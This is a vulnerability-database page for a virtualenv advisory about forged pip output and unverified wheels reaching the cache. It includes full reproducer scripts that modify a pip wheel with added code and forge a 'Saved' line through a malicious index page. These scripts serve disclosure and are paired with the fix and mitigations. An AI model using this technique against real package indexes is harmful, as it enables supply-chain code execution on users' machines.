in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs
need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.
repro
#!/usr/bin/env python3
import atexit
import hashlib
import json
import os
import shutil
import subprocess
import sys
from pathlib import Path
companions = Path("/tmp/repro.d")
work = Path("/tmp/forged-saved-line")
home = work / "home"
app_data = home / ".cache" / "virtualenv"
this_python = f"{sys.version_info.major}.{sys.version_info.minor}" # the target; each Python has its own update log
update_log_of_pip = app_data / "wheel" / this_python / "embed" / "3" / "pip.json"
virtualenv = [sys.executable, companions / "virtualenv_with_local_pypi_json.py", work / "pypi"]
as_user = {"cwd": home, "env": {"HOME": str(home), "PATH": os.environ["PATH"]}, "capture_output": True, "text": True}
added_code_prints = "code added by the index" # the line index_serves_modified_pip.py adds to pip/__init__.py
def user_upgrades_seed_wheels_and_creates_env():
# each case starts from an empty app-data
shutil.rmtree(app_data, ignore_errors=True)
shutil.rmtree(home / "env", ignore_errors=True)
upgrade = subprocess.run([*virtualenv, "--upgrade-embed-wheels"], **as_user)
# --no-periodic-update: the background update is another process, which the PyPI stand-in does not reach
subprocess.run([*virtualenv, "--no-periodic-update", "env"], **as_user, check=True)
pip_version = subprocess.run([home / "env" / "bin" / "python", "-m", "pip", "--version"], **as_user, check=True)
# one thread per target Python; a refused wheel ends its thread with a traceback on stderr, the exit code stays 0
refusal = next((line for line in upgrade.stderr.splitlines() if "but PyPI reports" in line), None)
logged = []
if update_log_of_pip.exists(): # a failed update writes no log
logged = [entry["filename"] for entry in json.loads(update_log_of_pip.read_text())["versions"]]
return refusal, logged, pip_version.stdout.splitlines()
# set up: PyPI's answers, a faithful mirror of PyPI on 127.0.0.1:8099, a user whose pip.conf points pip at it
shutil.rmtree(work, ignore_errors=True)
(home / ".config" / "pip").mkdir(parents=True)
shutil.copy(companions / "pip.conf", home / ".config" / "pip" / "pip.conf")
subprocess.run([sys.executable, companions / "pypi_json_and_mirror.py", work / "pypi", work / "index"], check=True)
index_server = subprocess.Popen(
[sys.executable, "-u", "-m", "http.server", "8099", "--bind", "127.0.0.1", "--directory", work / "index"],
stdout=subprocess.PIPE,
stderr=subprocess.DEVNULL,
text=True,
)
atexit.register(index_server.kill)
assert index_server.stdout.readline().startswith("Serving HTTP"), "index server did not start" # printed once bound
# control: the index serves a modified pip 26.0.1, and virtualenv's comparison with PyPI's SHA-256 refuses it
subprocess.run([sys.executable, companions / "index_serves_modified_pip.py", work / "index"], check=True)
refusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()
print("CONTROL modified pip: --upgrade-embed-wheels refused with:", refusal)
print("CONTROL modified pip: update log of pip lists", logged)
print("CONTROL modified pip: pip --version in the new env prints", pip_says)
control_ran_added_code = added_code_prints in "\n".join(pip_says)
# attack: the index also adds one link, whose data-requires-python puts a "Saved <path>" line into pip's output
subprocess.run([sys.executable, companions / "index_forges_saved_line.py", work / "index"], check=True)
refusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()
stored_wheel = app_data / "wheel" / "house" / "pip-26.0.1-py3-none-any.whl"
stored_sha256 = hashlib.sha256(stored_wheel.read_bytes()).hexdigest()
pypi_sha256 = json.loads((work / "pypi" / "pip.json").read_text())["releases"]["26.0.1"][0]["digests"]["sha256"]
print("OBSERVED + forged line: --upgrade-embed-wheels refused with:", refusal)
print("OBSERVED + forged line: update log of pip lists", logged)
print("OBSERVED + forged line: sha256 of that wheel in wheel/house:", stored_sha256)
print("OBSERVED + forged line: sha256 PyPI publishes for that name:", pypi_sha256)
print("OBSERVED + forged line: pip --version in the new env prints", pip_says)
attack_ran_added_code = added_code_prints in "\n".join(pip_says)
# check: the same modified wheel, refused without the forged line, is seeded with it
print("BUG" if attack_ran_added_code and not control_ran_added_code else "OK")
repro.d/index_forges_saved_line.py
"""Attacker, as the operator of the index the user's pip.conf names: make pip print a "Saved <path>" line of its choice.
usage: index_forges_saved_line.py <index_dir>
Adds one link to the page of pip; the file behind it is a renamed copy of the genuine pip 26.2.1.
"""
import shutil
import sys
from pathlib import Path
# a genuine PyPI file named pip-26.0.1-py3-none-any.whl on the user's disk: the wheel virtualenv bundles for Python 3.9,
# at the same path for every user of this image
GENUINE_WHEEL_ON_USERS_DISK = "/src/src/virtualenv/seed/wheels/embed/pip-26.0.1-py3-none-any.whl"
index_dir = Path(sys.argv[1])
# named 100.0 while its METADATA says 26.2.1: pip tries it first, then drops it with
# "Discarding <link> (requires-python:<attribute>): ... has inconsistent version" on stdout
shutil.copy(index_dir / "files" / "pip-26.2.1-py3-none-any.whl", index_dir / "files" / "pip-100.0-py3-none-any.whl")
# pip keeps a link whose data-requires-python it cannot parse, and prints the attribute as written; is a line feed
with (index_dir / "simple" / "pip" / "index.html").open("a") as page:
page.write(
'<a href="/files/pip-100.0-py3-none-any.whl"'
f' data-requires-python=" Saved {GENUINE_WHEEL_ON_USERS_DISK} ">pip-100.0-py3-none-any.whl</a>\n'
)
repro.d/index_serves_modified_pip.py
"""Attacker, as the operator of the index the user's pip.conf names: serve a modified pip under a genuine name.
usage: index_serves_modified_pip.py <index_dir>
pip 26.0.1 on the index gets one more line of code in pip/__init__.py and becomes the only pip on offer. On its own,
virtualenv's comparison with PyPI's SHA-256 catches this.
"""
import hashlib
import io
import sys
import zipfile
from pathlib import Path
ADDED_CODE = b'\nprint("code added by the index runs as uid", __import__("os").getuid())\n'
index_dir = Path(sys.argv[1])
wheel = index_dir / "files" / "pip-26.0.1-py3-none-any.whl"
genuine = zipfile.ZipFile(io.BytesIO(wheel.read_bytes()))
with zipfile.ZipFile(wheel, "w") as modified:
for entry in genuine.infolist():
content = genuine.read(entry)
if entry.filename == "pip/__init__.py":
content += ADDED_CODE
modified.writestr(entry, content)
# the #sha256= that every PyPI link carries matters: --upgrade-embed-wheels copies the bundled pip 26.0.1 into pip's
# download folder first, and pip replaces a file of the same name there only when the link's digest differs
sha256 = hashlib.sha256(wheel.read_bytes()).hexdigest()
(index_dir / "simple" / "pip" / "index.html").write_text(
f'<!DOCTYPE html>\n<a href="/files/{wheel.name}#sha256={sha256}">{wheel.name}</a>\n'
)
repro.d/pip.conf
[global]
index-url = http://127.0.0.1:8099/simple
repro.d/pypi_json_and_mirror.py
"""Setup: what PyPI's JSON API answers for the seed wheels, and an index that mirrors PyPI faithfully.
usage: pypi_json_and_mirror.py <pypi_dir> <index_dir>
The wheels bundled with virtualenv are genuine PyPI files. <pypi_dir>/<project>.json is what
https://pypi.org/pypi/<project>/json answers for them, with the digests of virtualenv's BUNDLE_SHA256 table.
<index_dir> is a PEP 503 tree (simple/<project>/index.html, files/) that offers exactly these files.
"""
import json
import shutil
import sys
import zipfile
from email.parser import HeaderParser
from html import escape
from pathlib import Path
from virtualenv.seed.wheels.embed import BUNDLE_FOLDER, BUNDLE_SHA256
pypi_dir, index_dir = Path(sys.argv[1]), Path(sys.argv[2])
pypi_dir.mkdir()
(index_dir / "files").mkdir(parents=True)
for project in ("pip", "setuptools"):
releases, links = {}, []
for filename, sha256 in BUNDLE_SHA256.items():
name, version = filename.split("-")[:2]
if name != project:
continue
shutil.copy(BUNDLE_FOLDER / filename, index_dir / "files")
releases[version] = [{"filename": filename, "digests": {"sha256": sha256}, "upload_time": "2026-01-01T00:00:00"}]
with zipfile.ZipFile(BUNDLE_FOLDER / filename) as wheel:
metadata = HeaderParser().parsestr(wheel.read(f"{name}-{version}.dist-info/METADATA").decode())
requires_python = escape(metadata["Requires-Python"])
links.append(f'<a href="/files/{filename}#sha256={sha256}" data-requires-python="{requires_python}">{filename}</a>')
(pypi_dir / f"{project}.json").write_text(json.dumps({"releases": releases}))
(index_dir / "simple" / project).mkdir(parents=True)
(index_dir / "simple" / project / "index.html").write_text("<!DOCTYPE html>\n" + "\n".join(links) + "\n")
repro.d/virtualenv_with_local_pypi_json.py
"""Setup: the virtualenv command line, with PyPI's JSON API answered from local files because there is no network.
usage: virtualenv_with_local_pypi_json.py <pypi_dir> <virtualenv arguments...>
Only the request for https://pypi.org/pypi/<project>/json is replaced: it is answered from <pypi_dir>/<project>.json.
pip, the index pip talks to and the rest of virtualenv are the real thing.
"""
import sys
from pathlib import Path
from unittest import mock
from virtualenv.__main__ import run_with_catch
pypi_dir = Path(sys.argv[1])
def pypi_json_api(url, context):
assert url.startswith("https://pypi.org/pypi/") and context is None, url
project = url.split("/")[4]
return (pypi_dir / f"{project}.json").open("rb")
with mock.patch("virtualenv.seed.wheels.periodic_update.urlopen", pypi_json_api):
run_with_catch(sys.argv[2:])
Impact
A file rejected during download verification can remain available for later cache selection. Exploitation requires additional control over the downloaded data or archive selection; this finding alone does not bypass TLS.
Severity: low.
Versions tested
The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.
The fix downloads into a private temporary directory and verifies archive identity, requested version, digest where applicable, and Python compatibility before promoting a wheel into the reusable cache.
Fix: PR #3430.
Known mitigation
After a failed verification, discard that download cache before reusing it. Use embedded wheels while reviewing unexpected download failures.
Affected release
- [x] The problem reproduces on virtualenv 21.14.8.
Credits
Reported by Anthropic's OSS Scanner as ANT-2026-ST00DRO3.
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "virtualenv",
"resource_purl": "pkg:pypi/virtualenv@21.14.13",
"upstream_fixed_in": "21.14.9"
},
"package": {
"ecosystem": "Homebrew",
"name": "virtualenvwrapper",
"purl": "pkg:brew/virtualenvwrapper"
},
"ranges": [
{
"events": [
{
"introduced": "6.1.1_3"
},
{
"fixed": "6.1.1_4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/virtualenv@21.14.13",
"name": "virtualenv",
"resource": "virtualenv",
"strategy": "registry",
"subject_version": "21.14.13"
}
]
},
"details": "## Summary\n\nWheel downloads go directly into the reusable wheelhouse, while the verification target is selected from pip\u0027s textual\noutput. A verification failure does not remove the downloaded file from that cache.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-ST00DRO3` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nDownload selection and promotion into the reusable wheel cache.\n\n## Attacker-controlled input\n\nA download must fail verification, or the archive selected from pip output must differ from the file later reused.\nDefault-index digest verification must be enabled. Existing custom-index exceptions are outside the promised PyPI\ncomparison.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[wheel download and digest check](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/wheels/acquire.py).\n\n## Mechanism\n\n`download_wheel()` tells pip to write directly into the reusable `wheel/house` cache. It then selects a path to hash\nfrom the first `Saved ` line in pip\u0027s stdout, rather than from the file pip actually placed there. A package index can\ninject such a line through a discarded link\u0027s `data-requires-python` attribute. A separate failure exists without the\nforged line: a digest mismatch raises after the downloaded wheel has entered the cache, and the rejected bytes remain\nthere. Later wheel selection does not hash the cached file again.\n\n## Reproduction and evidence\n\nThe scanner used a local index configured in `pip.conf`, with PyPI digest comparison still enabled. In the control case\nit served a modified pip wheel alone. `virtualenv --upgrade-embed-wheels` refused the mismatch, and a subsequent\nenvironment used the bundled pip. In the attack case the index added a link whose `data-requires-python` contained a\nforged `Saved \u003cpath\u003e` line pointing at a genuine bundled wheel. The upgrade then exited without a digest error, recorded\nthe modified wheel in its update log, and a later environment\u0027s `pip --version` ran a line added by the index. The\nreproduction used a known absolute path to the genuine bundled wheel; that prerequisite is part of this variant.\n\nThe report also shows that a refused wheel can replace a previously accepted file of the same name in `wheel/house`,\nleaving rejected bytes available for later use. It does not claim to bypass TLS or affect the default PyPI setup. The\ngap follows the digest check added in #3251, first released in 21.7.12.\n[PR #3430](https://github.com/pypa/virtualenv/pull/3430) downloads to a private temporary directory, verifies the actual\narchive, and promotes it only after acceptance.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant I as Configured index\n participant P as pip download\n participant C as wheel/house cache\n participant V as virtualenv digest check\n participant N as New environment\n I-\u003e\u003eP: modified wheel and forged Saved line\n P-\u003e\u003eC: write modified wheel directly\n P--\u003e\u003eV: stdout names genuine bundled wheel\n V-\u003e\u003eV: hash genuine wheel and accept\n V-\u003e\u003eC: record modified wheel for reuse\n C-\u003e\u003eN: seed modified pip without rehash\n Note over P,C: Even a rejected wheel can remain in the cache\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-ST00DRO3`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport atexit\nimport hashlib\nimport json\nimport os\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\n\ncompanions = Path(\"/tmp/repro.d\")\nwork = Path(\"/tmp/forged-saved-line\")\nhome = work / \"home\"\napp_data = home / \".cache\" / \"virtualenv\"\nthis_python = f\"{sys.version_info.major}.{sys.version_info.minor}\" # the target; each Python has its own update log\nupdate_log_of_pip = app_data / \"wheel\" / this_python / \"embed\" / \"3\" / \"pip.json\"\nvirtualenv = [sys.executable, companions / \"virtualenv_with_local_pypi_json.py\", work / \"pypi\"]\nas_user = {\"cwd\": home, \"env\": {\"HOME\": str(home), \"PATH\": os.environ[\"PATH\"]}, \"capture_output\": True, \"text\": True}\nadded_code_prints = \"code added by the index\" # the line index_serves_modified_pip.py adds to pip/__init__.py\n\n\ndef user_upgrades_seed_wheels_and_creates_env():\n # each case starts from an empty app-data\n shutil.rmtree(app_data, ignore_errors=True)\n shutil.rmtree(home / \"env\", ignore_errors=True)\n upgrade = subprocess.run([*virtualenv, \"--upgrade-embed-wheels\"], **as_user)\n # --no-periodic-update: the background update is another process, which the PyPI stand-in does not reach\n subprocess.run([*virtualenv, \"--no-periodic-update\", \"env\"], **as_user, check=True)\n pip_version = subprocess.run([home / \"env\" / \"bin\" / \"python\", \"-m\", \"pip\", \"--version\"], **as_user, check=True)\n # one thread per target Python; a refused wheel ends its thread with a traceback on stderr, the exit code stays 0\n refusal = next((line for line in upgrade.stderr.splitlines() if \"but PyPI reports\" in line), None)\n logged = []\n if update_log_of_pip.exists(): # a failed update writes no log\n logged = [entry[\"filename\"] for entry in json.loads(update_log_of_pip.read_text())[\"versions\"]]\n return refusal, logged, pip_version.stdout.splitlines()\n\n\n# set up: PyPI\u0027s answers, a faithful mirror of PyPI on 127.0.0.1:8099, a user whose pip.conf points pip at it\nshutil.rmtree(work, ignore_errors=True)\n(home / \".config\" / \"pip\").mkdir(parents=True)\nshutil.copy(companions / \"pip.conf\", home / \".config\" / \"pip\" / \"pip.conf\")\nsubprocess.run([sys.executable, companions / \"pypi_json_and_mirror.py\", work / \"pypi\", work / \"index\"], check=True)\nindex_server = subprocess.Popen(\n [sys.executable, \"-u\", \"-m\", \"http.server\", \"8099\", \"--bind\", \"127.0.0.1\", \"--directory\", work / \"index\"],\n stdout=subprocess.PIPE,\n stderr=subprocess.DEVNULL,\n text=True,\n)\natexit.register(index_server.kill)\nassert index_server.stdout.readline().startswith(\"Serving HTTP\"), \"index server did not start\" # printed once bound\n\n# control: the index serves a modified pip 26.0.1, and virtualenv\u0027s comparison with PyPI\u0027s SHA-256 refuses it\nsubprocess.run([sys.executable, companions / \"index_serves_modified_pip.py\", work / \"index\"], check=True)\nrefusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()\nprint(\"CONTROL modified pip: --upgrade-embed-wheels refused with:\", refusal)\nprint(\"CONTROL modified pip: update log of pip lists\", logged)\nprint(\"CONTROL modified pip: pip --version in the new env prints\", pip_says)\ncontrol_ran_added_code = added_code_prints in \"\\n\".join(pip_says)\n\n# attack: the index also adds one link, whose data-requires-python puts a \"Saved \u003cpath\u003e\" line into pip\u0027s output\nsubprocess.run([sys.executable, companions / \"index_forges_saved_line.py\", work / \"index\"], check=True)\nrefusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()\nstored_wheel = app_data / \"wheel\" / \"house\" / \"pip-26.0.1-py3-none-any.whl\"\nstored_sha256 = hashlib.sha256(stored_wheel.read_bytes()).hexdigest()\npypi_sha256 = json.loads((work / \"pypi\" / \"pip.json\").read_text())[\"releases\"][\"26.0.1\"][0][\"digests\"][\"sha256\"]\nprint(\"OBSERVED + forged line: --upgrade-embed-wheels refused with:\", refusal)\nprint(\"OBSERVED + forged line: update log of pip lists\", logged)\nprint(\"OBSERVED + forged line: sha256 of that wheel in wheel/house:\", stored_sha256)\nprint(\"OBSERVED + forged line: sha256 PyPI publishes for that name:\", pypi_sha256)\nprint(\"OBSERVED + forged line: pip --version in the new env prints\", pip_says)\nattack_ran_added_code = added_code_prints in \"\\n\".join(pip_says)\n\n# check: the same modified wheel, refused without the forged line, is seeded with it\nprint(\"BUG\" if attack_ran_added_code and not control_ran_added_code else \"OK\")\n```\n\n**`repro.d/index_forges_saved_line.py`**\n\n```text\n\"\"\"Attacker, as the operator of the index the user\u0027s pip.conf names: make pip print a \"Saved \u003cpath\u003e\" line of its choice.\n\nusage: index_forges_saved_line.py \u003cindex_dir\u003e\n\nAdds one link to the page of pip; the file behind it is a renamed copy of the genuine pip 26.2.1.\n\"\"\"\n\nimport shutil\nimport sys\nfrom pathlib import Path\n\n# a genuine PyPI file named pip-26.0.1-py3-none-any.whl on the user\u0027s disk: the wheel virtualenv bundles for Python 3.9,\n# at the same path for every user of this image\nGENUINE_WHEEL_ON_USERS_DISK = \"/src/src/virtualenv/seed/wheels/embed/pip-26.0.1-py3-none-any.whl\"\n\nindex_dir = Path(sys.argv[1])\n\n# named 100.0 while its METADATA says 26.2.1: pip tries it first, then drops it with\n# \"Discarding \u003clink\u003e (requires-python:\u003cattribute\u003e): ... has inconsistent version\" on stdout\nshutil.copy(index_dir / \"files\" / \"pip-26.2.1-py3-none-any.whl\", index_dir / \"files\" / \"pip-100.0-py3-none-any.whl\")\n\n# pip keeps a link whose data-requires-python it cannot parse, and prints the attribute as written; \u0026#10; is a line feed\nwith (index_dir / \"simple\" / \"pip\" / \"index.html\").open(\"a\") as page:\n page.write(\n \u0027\u003ca href=\"/files/pip-100.0-py3-none-any.whl\"\u0027\n f\u0027 data-requires-python=\"\u0026#10;Saved {GENUINE_WHEEL_ON_USERS_DISK}\u0026#10;\"\u003epip-100.0-py3-none-any.whl\u003c/a\u003e\\n\u0027\n )\n```\n\n**`repro.d/index_serves_modified_pip.py`**\n\n```text\n\"\"\"Attacker, as the operator of the index the user\u0027s pip.conf names: serve a modified pip under a genuine name.\n\nusage: index_serves_modified_pip.py \u003cindex_dir\u003e\n\npip 26.0.1 on the index gets one more line of code in pip/__init__.py and becomes the only pip on offer. On its own,\nvirtualenv\u0027s comparison with PyPI\u0027s SHA-256 catches this.\n\"\"\"\n\nimport hashlib\nimport io\nimport sys\nimport zipfile\nfrom pathlib import Path\n\nADDED_CODE = b\u0027\\nprint(\"code added by the index runs as uid\", __import__(\"os\").getuid())\\n\u0027\n\nindex_dir = Path(sys.argv[1])\nwheel = index_dir / \"files\" / \"pip-26.0.1-py3-none-any.whl\"\n\ngenuine = zipfile.ZipFile(io.BytesIO(wheel.read_bytes()))\nwith zipfile.ZipFile(wheel, \"w\") as modified:\n for entry in genuine.infolist():\n content = genuine.read(entry)\n if entry.filename == \"pip/__init__.py\":\n content += ADDED_CODE\n modified.writestr(entry, content)\n\n# the #sha256= that every PyPI link carries matters: --upgrade-embed-wheels copies the bundled pip 26.0.1 into pip\u0027s\n# download folder first, and pip replaces a file of the same name there only when the link\u0027s digest differs\nsha256 = hashlib.sha256(wheel.read_bytes()).hexdigest()\n(index_dir / \"simple\" / \"pip\" / \"index.html\").write_text(\n f\u0027\u003c!DOCTYPE html\u003e\\n\u003ca href=\"/files/{wheel.name}#sha256={sha256}\"\u003e{wheel.name}\u003c/a\u003e\\n\u0027\n)\n```\n\n**`repro.d/pip.conf`**\n\n```text\n[global]\nindex-url = http://127.0.0.1:8099/simple\n```\n\n**`repro.d/pypi_json_and_mirror.py`**\n\n```text\n\"\"\"Setup: what PyPI\u0027s JSON API answers for the seed wheels, and an index that mirrors PyPI faithfully.\n\nusage: pypi_json_and_mirror.py \u003cpypi_dir\u003e \u003cindex_dir\u003e\n\nThe wheels bundled with virtualenv are genuine PyPI files. \u003cpypi_dir\u003e/\u003cproject\u003e.json is what\nhttps://pypi.org/pypi/\u003cproject\u003e/json answers for them, with the digests of virtualenv\u0027s BUNDLE_SHA256 table.\n\u003cindex_dir\u003e is a PEP 503 tree (simple/\u003cproject\u003e/index.html, files/) that offers exactly these files.\n\"\"\"\n\nimport json\nimport shutil\nimport sys\nimport zipfile\nfrom email.parser import HeaderParser\nfrom html import escape\nfrom pathlib import Path\n\nfrom virtualenv.seed.wheels.embed import BUNDLE_FOLDER, BUNDLE_SHA256\n\npypi_dir, index_dir = Path(sys.argv[1]), Path(sys.argv[2])\npypi_dir.mkdir()\n(index_dir / \"files\").mkdir(parents=True)\n\nfor project in (\"pip\", \"setuptools\"):\n releases, links = {}, []\n for filename, sha256 in BUNDLE_SHA256.items():\n name, version = filename.split(\"-\")[:2]\n if name != project:\n continue\n shutil.copy(BUNDLE_FOLDER / filename, index_dir / \"files\")\n releases[version] = [{\"filename\": filename, \"digests\": {\"sha256\": sha256}, \"upload_time\": \"2026-01-01T00:00:00\"}]\n with zipfile.ZipFile(BUNDLE_FOLDER / filename) as wheel:\n metadata = HeaderParser().parsestr(wheel.read(f\"{name}-{version}.dist-info/METADATA\").decode())\n requires_python = escape(metadata[\"Requires-Python\"])\n links.append(f\u0027\u003ca href=\"/files/{filename}#sha256={sha256}\" data-requires-python=\"{requires_python}\"\u003e{filename}\u003c/a\u003e\u0027)\n (pypi_dir / f\"{project}.json\").write_text(json.dumps({\"releases\": releases}))\n (index_dir / \"simple\" / project).mkdir(parents=True)\n (index_dir / \"simple\" / project / \"index.html\").write_text(\"\u003c!DOCTYPE html\u003e\\n\" + \"\\n\".join(links) + \"\\n\")\n```\n\n**`repro.d/virtualenv_with_local_pypi_json.py`**\n\n```text\n\"\"\"Setup: the virtualenv command line, with PyPI\u0027s JSON API answered from local files because there is no network.\n\nusage: virtualenv_with_local_pypi_json.py \u003cpypi_dir\u003e \u003cvirtualenv arguments...\u003e\n\nOnly the request for https://pypi.org/pypi/\u003cproject\u003e/json is replaced: it is answered from \u003cpypi_dir\u003e/\u003cproject\u003e.json.\npip, the index pip talks to and the rest of virtualenv are the real thing.\n\"\"\"\n\nimport sys\nfrom pathlib import Path\nfrom unittest import mock\n\nfrom virtualenv.__main__ import run_with_catch\n\npypi_dir = Path(sys.argv[1])\n\n\ndef pypi_json_api(url, context):\n assert url.startswith(\"https://pypi.org/pypi/\") and context is None, url\n project = url.split(\"/\")[4]\n return (pypi_dir / f\"{project}.json\").open(\"rb\")\n\n\nwith mock.patch(\"virtualenv.seed.wheels.periodic_update.urlopen\", pypi_json_api):\n run_with_catch(sys.argv[2:])\n```\n\n## Impact\n\nA file rejected during download verification can remain available for later cache selection. Exploitation requires\nadditional control over the downloaded data or archive selection; this finding alone does not bypass TLS.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix downloads into a private temporary directory and verifies archive identity, requested version, digest\nwhere applicable, and Python compatibility before promoting a wheel into the reusable cache.\n\nFix: [PR #3430](https://github.com/pypa/virtualenv/pull/3430).\n\n## Known mitigation\n\nAfter a failed verification, discard that download cache before reusing it. Use embedded wheels while reviewing\nunexpected download failures.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-ST00DRO3.",
"id": "BREW-virtualenvwrapper-CVE-2026-113714",
"modified": "2026-10-29T22:51:11Z",
"published": "2026-10-26T10:12:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-494p-63j8-28p3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113714"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/pull/3430"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/commit/7babec66e043e1cc8bc66869a063653898719d96"
},
{
"type": "PACKAGE",
"url": "https://github.com/pypa/virtualenv"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "virtualenv: Downloaded wheel selection and caching precede verification",
"upstream": [
"GHSA-494p-63j8-28p3",
"CVE-2026-113714",
"BIT-virtualenv-2026-113714"
]
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.